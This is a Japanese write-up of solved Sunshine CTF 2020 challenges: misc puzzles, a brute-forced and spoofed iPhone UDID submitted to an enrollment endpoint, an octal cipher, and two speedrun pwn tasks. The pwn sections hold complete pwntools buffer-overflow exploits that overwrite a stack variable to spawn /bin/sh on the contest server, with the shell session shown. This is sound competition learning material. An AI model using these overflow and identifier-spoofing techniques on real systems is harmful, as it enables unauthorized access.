Sunshine CTF 2020 Writeup

この大会は2020/11/7 23:00(JST)~2020/11/9 23:00(JST)に開催されました。
今回もチームで参戦。結果は1964点で742チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to SunshineCTF 2020 (Misc 1)

問題にフラグが書いてあった。

sun{yes_competitor_is_here}

Disboard Round 2 (Misc 2)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

sun{see_i_was_here_all_along}

TSA Techie (Misc 150)

Scanned_Document.pdfに以下が書いてある。

HV55tC8
https://device-registration.web.2020.sunshinectf.org/

Register After Restore,
    Before ResalE

https://device-registration.web.2020.sunshinectf.org/にアクセスし、Registerボタンをクリックすると、enrollがダウンロードされ、以下のような内容になっている。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>PayloadContent</key>
    <dict>
      <key>URL</key>
      <string>https://device-registration.web.2020.sunshinectf.org/udid/verify</string>
      <key>DeviceAttributes</key>
      <array>
        <string>UDID</string>
        <string>PRODUCT</string>
      </array>
    </dict>
    <key>PayloadOrganization</key>
    <string>TotallyNotASmugglingRing</string>
    <key>PayloadDisplayName</key>
    <string>Device Registration</string>
    <key>PayloadVersion</key>
    <integer>1</integer>
    <key>PayloadUUID</key>
    <string>2fe6ebd9-a281-4d46-8094-9468b6d6e701</string>
    <key>PayloadIdentifier</key>
    <string>sunshinectf.udid</string>
    <key>PayloadDescription</key>
    <string>This configuration is a device enrollment challenge that verifies your device using its UDID and model name.</string>
    <key>PayloadType</key>
    <string>Profile Service</string>
  </dict>
</plist>

UDIDとPRODUCTをXMLの形式でPOSTすればフラグが得られるようだ。PDFに書かれている情報からUDIDを算出できないか調べてみる。
https://fixatron.ca/information/get-udidで以下の式が書いてあった。

UDID = SHA1(serial + ECID + wifiMac + bluetoothMac)

Serial Numberをブルートフォースするにはまだ幅が広すぎる。以下を参考にして、各文字の意味を確認し、絞ってみる。

http://www.3u.com/news/articles/5151/what-can-you-read-from-your-iphone-serial-number
https://en.tab-tv.com/?p=18929
1st Letter: C, D, F, G
4th Letter: D
5th Letter: P or Q

これでブルートフォースでUDIDを割り出す。

from hashlib import sha1
from itertools import *
from string import *

ECID = '2843135617639718'
wifiMac = '14:88:e6:ac:63'
bluetoothMac = '14:88:e6:ac:64'
h_tail = '99ac6'

found = False
for s1 in ['C', 'D', 'F', 'G']:
    for c in product(uppercase + digits, repeat=3):
        serial = s1 + c[0] + 'TDP621J' + c[1] + c[2] + 'H'
        UDID = sha1(serial + ECID + wifiMac + bluetoothMac).hexdigest()
        if UDID[-5:] == h_tail:
            found = True
            print '[+] Serial Number:', serial
            print '[+] UDID:', UDID
            break
    if found:
        break

実行結果は以下の通り。

[+] Serial Number: FKTDP621JC6H
[+] UDID: 1d87930059bad8eab14bebb81d7680c02a299ac6

PRODUCTはPDFに書いてあるので、それをenroll.xmlとして保存し、POSTする。

$ cat enroll.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>UDID</key>
    <string>1d87930059bad8eab14bebb81d7680c02a299ac6</string>
    <key>PRODUCT</key>
    <string>iPhone10,1</string>
  </dict>
</plist>
$ curl -L -H "Content-type: text/xml" -d @enroll.xml https://device-registration.web.2020.sunshinectf.org/udid/verify
<!DOCTYPE html>
<html>
<head>
    <title>Registration Successful!</title>
    <style type="text/css">
        * {
            font-family: sans-serif;
            text-align: center;
            color: black;
        }
        html {
            background: #dedede;
        }
        a {
            padding: 10px;
            border-radius: 5px;
            background: green;
            color: white;
            text-decoration: none;
            font-weight: bold;
            display: inline-block;
            width: calc(100% - 20px);
            max-width: 500px;
        }
        a:hover {
            opacity: 0.8;
        }
        a:active {
            opacity: 0.6;
        }
        code {
            font-family: monospace;
        }
        @media (prefers-color-scheme: dark) {
            * {
                color: white;
            }
            html {
                background: #212121;
            }
        }
    </style>
</head>
<body>
<h1>Registeration Successful!</h1>
<p>
    Congratulations! You successfully spoofed (and crafted) the UDID we were looking for. For your hard work, have the flag:
</p>
<b><code>sun{2de17cd306bcb1606f2ee23f05bf1504a537d}</code></b>
<p>
    I'm sure some triple-letter agency (or Florida Man) is proud of you right now.
</p>
</body>
</html>
sun{2de17cd306bcb1606f2ee23f05bf1504a537d}

User Guide (PEGASUS 10)

$ ./runpeg PEGASUS_User_Guide.peg
sun{1n_4_w0rld_0f_pur3_d3lir1ati0n}

RTFM (PEGASUS 10)

EAR_EAR.mdの末尾にフラグの前半がある。

`sun{und3r5t4nd1ng_7h3_d0c5`

PEGASUS.mdの末尾にフラグの後半がある。

`_w1ll_b3_1mp0r74n7!}`

結合すると、フラグになる。

sun{und3r5t4nd1ng_7h3_d0c5_w1ll_b3_1mp0r74n7!}

speedrun-00 (Speedrun 50)

Ghidraでデコンパイルする。

void main(void)

{
  char local_48 [56];
  int local_10;
  int local_c;
  
  puts("This is the only one");
  gets(local_48);
  if (local_c == 0xfacade) {
    system("/bin/sh");
  }
  if (local_10 == 0xfacade) {
    system("/bin/sh");
  }
  return;
}

BOFでlocal_10を0xfacadeにすればよい。

from pwn import *

p = remote('chal.2020.sunshinectf.org', 30000)
#p = process('./chall_00')

data = p.recvline().rstrip()
print data
payload = 'a' * 56 + p64(0xfacade)
print payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to chal.2020.sunshinectf.org on port 30000: Done
This is the only one
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���\x00
[*] Switching to interactive mode
$ ls
chall_00
flag.txt
$ cat flag.txt
sun{burn-it-down-6208bbc96c9ffce4}
sun{burn-it-down-6208bbc96c9ffce4}

speedrun-01 (Speedrun 50)

Ghidraでデコンパイルする。

void main(void)

{
  char local_68 [64];
  char local_28 [24];
  int local_10;
  int local_c;
  
  puts("Long time ago, you called upon the tombstones");
  fgets(local_28,0x13,stdin);
  gets(local_68);
  if (local_c == 0xfacade) {
    system("/bin/sh");
  }
  if (local_10 == 0xfacade) {
    system("/bin/sh");
  }
  return;
}
$ gdb -q chall_01
Reading symbols from chall_01...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x75e
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall_01 

[----------------------------------registers-----------------------------------]
RAX: 0x55555555475a (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x5555555547d0 (<__libc_csu_init>:	push   r15)
RDX: 0x7fffffffe0c8 --> 0x7fffffffe3fd ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffe0b8 --> 0x7fffffffe3e3 ("/mnt/hgfs/Shared/chall_01")
RDI: 0x1 
RBP: 0x7fffffffdfd0 --> 0x5555555547d0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdfd0 --> 0x5555555547d0 (<__libc_csu_init>:	push   r15)
RIP: 0x55555555475e (<main+4>:	sub    rsp,0x60)
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555554650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe0b0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554755 <frame_dummy+5>:	
    jmp    0x5555555546c0 <register_tm_clones>
   0x55555555475a <main>:	push   rbp
   0x55555555475b <main+1>:	mov    rbp,rsp
=> 0x55555555475e <main+4>:	sub    rsp,0x60
   0x555555554762 <main+8>:	lea    rdi,[rip+0xef]        # 0x555555554858
   0x555555554769 <main+15>:	call   0x555555554600 <puts@plt>
   0x55555555476e <main+20>:	
    mov    rdx,QWORD PTR [rip+0x20089b]        # 0x555555755010 <stdin@@GLIBC_2.2.5>
   0x555555554775 <main+27>:	lea    rax,[rbp-0x20]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdfd0 --> 0x5555555547d0 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffdfd8 --> 0x7ffff7a05b97 (<__libc_start_main+231>:	mov    edi,eax)
0016| 0x7fffffffdfe0 --> 0x1 
0024| 0x7fffffffdfe8 --> 0x7fffffffe0b8 --> 0x7fffffffe3e3 ("/mnt/hgfs/Shared/chall_01")
0032| 0x7fffffffdff0 --> 0x100008000 
0040| 0x7fffffffdff8 --> 0x55555555475a (<main>:	push   rbp)
0048| 0x7fffffffe000 --> 0x0 
0056| 0x7fffffffe008 --> 0xaef12dd8d0a2475 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055555555475e in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000055555555475a <+0>:	push   rbp
   0x000055555555475b <+1>:	mov    rbp,rsp
=> 0x000055555555475e <+4>:	sub    rsp,0x60
   0x0000555555554762 <+8>:	lea    rdi,[rip+0xef]        # 0x555555554858
   0x0000555555554769 <+15>:	call   0x555555554600 <puts@plt>
   0x000055555555476e <+20>:	mov    rdx,QWORD PTR [rip+0x20089b]        # 0x555555755010 <stdin@@GLIBC_2.2.5>
   0x0000555555554775 <+27>:	lea    rax,[rbp-0x20]
   0x0000555555554779 <+31>:	mov    esi,0x13
   0x000055555555477e <+36>:	mov    rdi,rax
   0x0000555555554781 <+39>:	call   0x555555554620 <fgets@plt>
   0x0000555555554786 <+44>:	lea    rax,[rbp-0x60]
   0x000055555555478a <+48>:	mov    rdi,rax
   0x000055555555478d <+51>:	mov    eax,0x0
   0x0000555555554792 <+56>:	call   0x555555554630 <gets@plt>
   0x0000555555554797 <+61>:	cmp    DWORD PTR [rbp-0x4],0xfacade
   0x000055555555479e <+68>:	jne    0x5555555547ac <main+82>
   0x00005555555547a0 <+70>:	lea    rdi,[rip+0xdf]        # 0x555555554886
   0x00005555555547a7 <+77>:	call   0x555555554610 <system@plt>
   0x00005555555547ac <+82>:	cmp    DWORD PTR [rbp-0x8],0xfacade
   0x00005555555547b3 <+89>:	jne    0x5555555547c1 <main+103>
   0x00005555555547b5 <+91>:	lea    rdi,[rip+0xca]        # 0x555555554886
   0x00005555555547bc <+98>:	call   0x555555554610 <system@plt>
   0x00005555555547c1 <+103>:	nop
   0x00005555555547c2 <+104>:	leave  
   0x00005555555547c3 <+105>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000555555554797
Breakpoint 2 at 0x555555554797
gdb-peda$ c
Continuing.
Long time ago, you called upon the tombstones
aaaa
bbbb

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdf70 --> 0x62626262 ('bbbb')
RBX: 0x0 
RCX: 0x7ffff7dcfa00 --> 0xfbad2288 
RDX: 0x7ffff7dd18d0 --> 0x0 
RSI: 0x6262 ('bb')
RDI: 0x7fffffffdf71 --> 0x6000000000626262 ('bbb')
RBP: 0x7fffffffdfd0 --> 0x5555555547d0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdf70 --> 0x62626262 ('bbbb')
RIP: 0x555555554797 (<main+61>:	cmp    DWORD PTR [rbp-0x4],0xfacade)
R8 : 0x555555756675 --> 0x0 
R9 : 0x7ffff7fdb4c0 (0x00007ffff7fdb4c0)
R10: 0x555555756010 --> 0x0 
R11: 0x246 
R12: 0x555555554650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe0b0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555478a <main+48>:	mov    rdi,rax
   0x55555555478d <main+51>:	mov    eax,0x0
   0x555555554792 <main+56>:	call   0x555555554630 <gets@plt>
=> 0x555555554797 <main+61>:	cmp    DWORD PTR [rbp-0x4],0xfacade
   0x55555555479e <main+68>:	jne    0x5555555547ac <main+82>
   0x5555555547a0 <main+70>:	lea    rdi,[rip+0xdf]        # 0x555555554886
   0x5555555547a7 <main+77>:	call   0x555555554610 <system@plt>
   0x5555555547ac <main+82>:	cmp    DWORD PTR [rbp-0x8],0xfacade
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf70 --> 0x62626262 ('bbbb')
0008| 0x7fffffffdf78 --> 0x7ffff7dd7660 (<dl_main>:	push   rbp)
0016| 0x7fffffffdf80 --> 0x7fffffffdfe8 --> 0x7fffffffe0b8 --> 0x7fffffffe3e3 ("/mnt/hgfs/Shared/chall_01")
0024| 0x7fffffffdf88 --> 0xf0b2ff 
0032| 0x7fffffffdf90 --> 0x1 
0040| 0x7fffffffdf98 --> 0x55555555481d (<__libc_csu_init+77>:	add    rbx,0x1)
0048| 0x7fffffffdfa0 --> 0x7ffff7de59f0 (<_dl_fini>:	push   rbp)
0056| 0x7fffffffdfa8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555554797 in main ()

アドレスの値は以下のようになっている。

・0x7fffffffdf70 -> "bbbb"
・0x7fffffffdfd0 -> $rbp

2回目の入力で、92バイト適当な文字の後、p64(0xfacade)を送信する。

from pwn import *

p = remote('chal.2020.sunshinectf.org', 30001)
#p = process('./chall_01')

data = p.recvline().rstrip()
print data
payload = 'a' * 4
print payload
p.sendline(payload)
payload = 'b' * 92 + p64(0xfacade)
print payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to chal.2020.sunshinectf.org on port 30001: Done
Long time ago, you called upon the tombstones
aaaa
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb���\x00
[*] Switching to interactive mode
$ ls
chall_01
flag.txt
$ cat flag.txt
sun{eternal-rest-6a5ee49d943a053a}
sun{eternal-rest-6a5ee49d943a053a}

Magically Delicious (Crypto 100)

絵文字を順に文字に置き換える。

ABC ABD ADB AEC ADF ABD AFC ADC AEA DD ADE AFC ABF AFA ADF DD AFD ADB AFC ADE AFF ADA ADB AFE DD ADA ABC DD ABF ADG AFD DD AFH AFD ABC ABF DD AFD ADB AFC ADE AFF ADA ADB AFE DD ADD AFD ABF ADG ADE AFF AED

A~Hしか登場しないので、8種類の絵文字だったことがわかる。DD以外はAから始まる3文字のコード。「ABF ADG AFD」は "the" と推測する。

>>> ord('t')
116
>>> 64 + 8*6 + 4
116
>>> ord('h')
104
>>> 64 + 8*5 + 0
104
>>> ord('e')
101
>>> 64 + 8*4 + 5
101

A = 1
B = 6
D = 5
G = 0
F = 4

ここまでうまく合う。「ADA ABC」は "is" と推測する。

>>> ord('s')
115
>>> 64 + 6*8 + 3
115

C = 3

あとは2パターンしかないので、適当にあてはめ復号してみる。

enc = 'ABC ABD ADB AEC ADF ABD AFC ADC AEA DD ADE AFC ABF AFA ADF DD AFD ADB AFC ADE AFF ADA ADB AFE DD ADA ABC DD ABF ADG AFD DD AFH AFD ABC ABF DD AFD ADB AFC ADE AFF ADA ADB AFE DD ADD AFD ABF ADG ADE AFF AED'

enc = enc.replace('A', '1')
enc = enc.replace('B', '6')
enc = enc.replace('C', '3')
enc = enc.replace('D', '5')
enc = enc.replace('E', '7')
enc = enc.replace('F', '4')
enc = enc.replace('G', '0')
enc = enc.replace('H', '2')

enc = enc.split(' ')

flag = ''
for c in enc:
    flag += chr(int(c, 8))

print flag
sun{lucky-octal-encoding-is-the-best-encoding-method}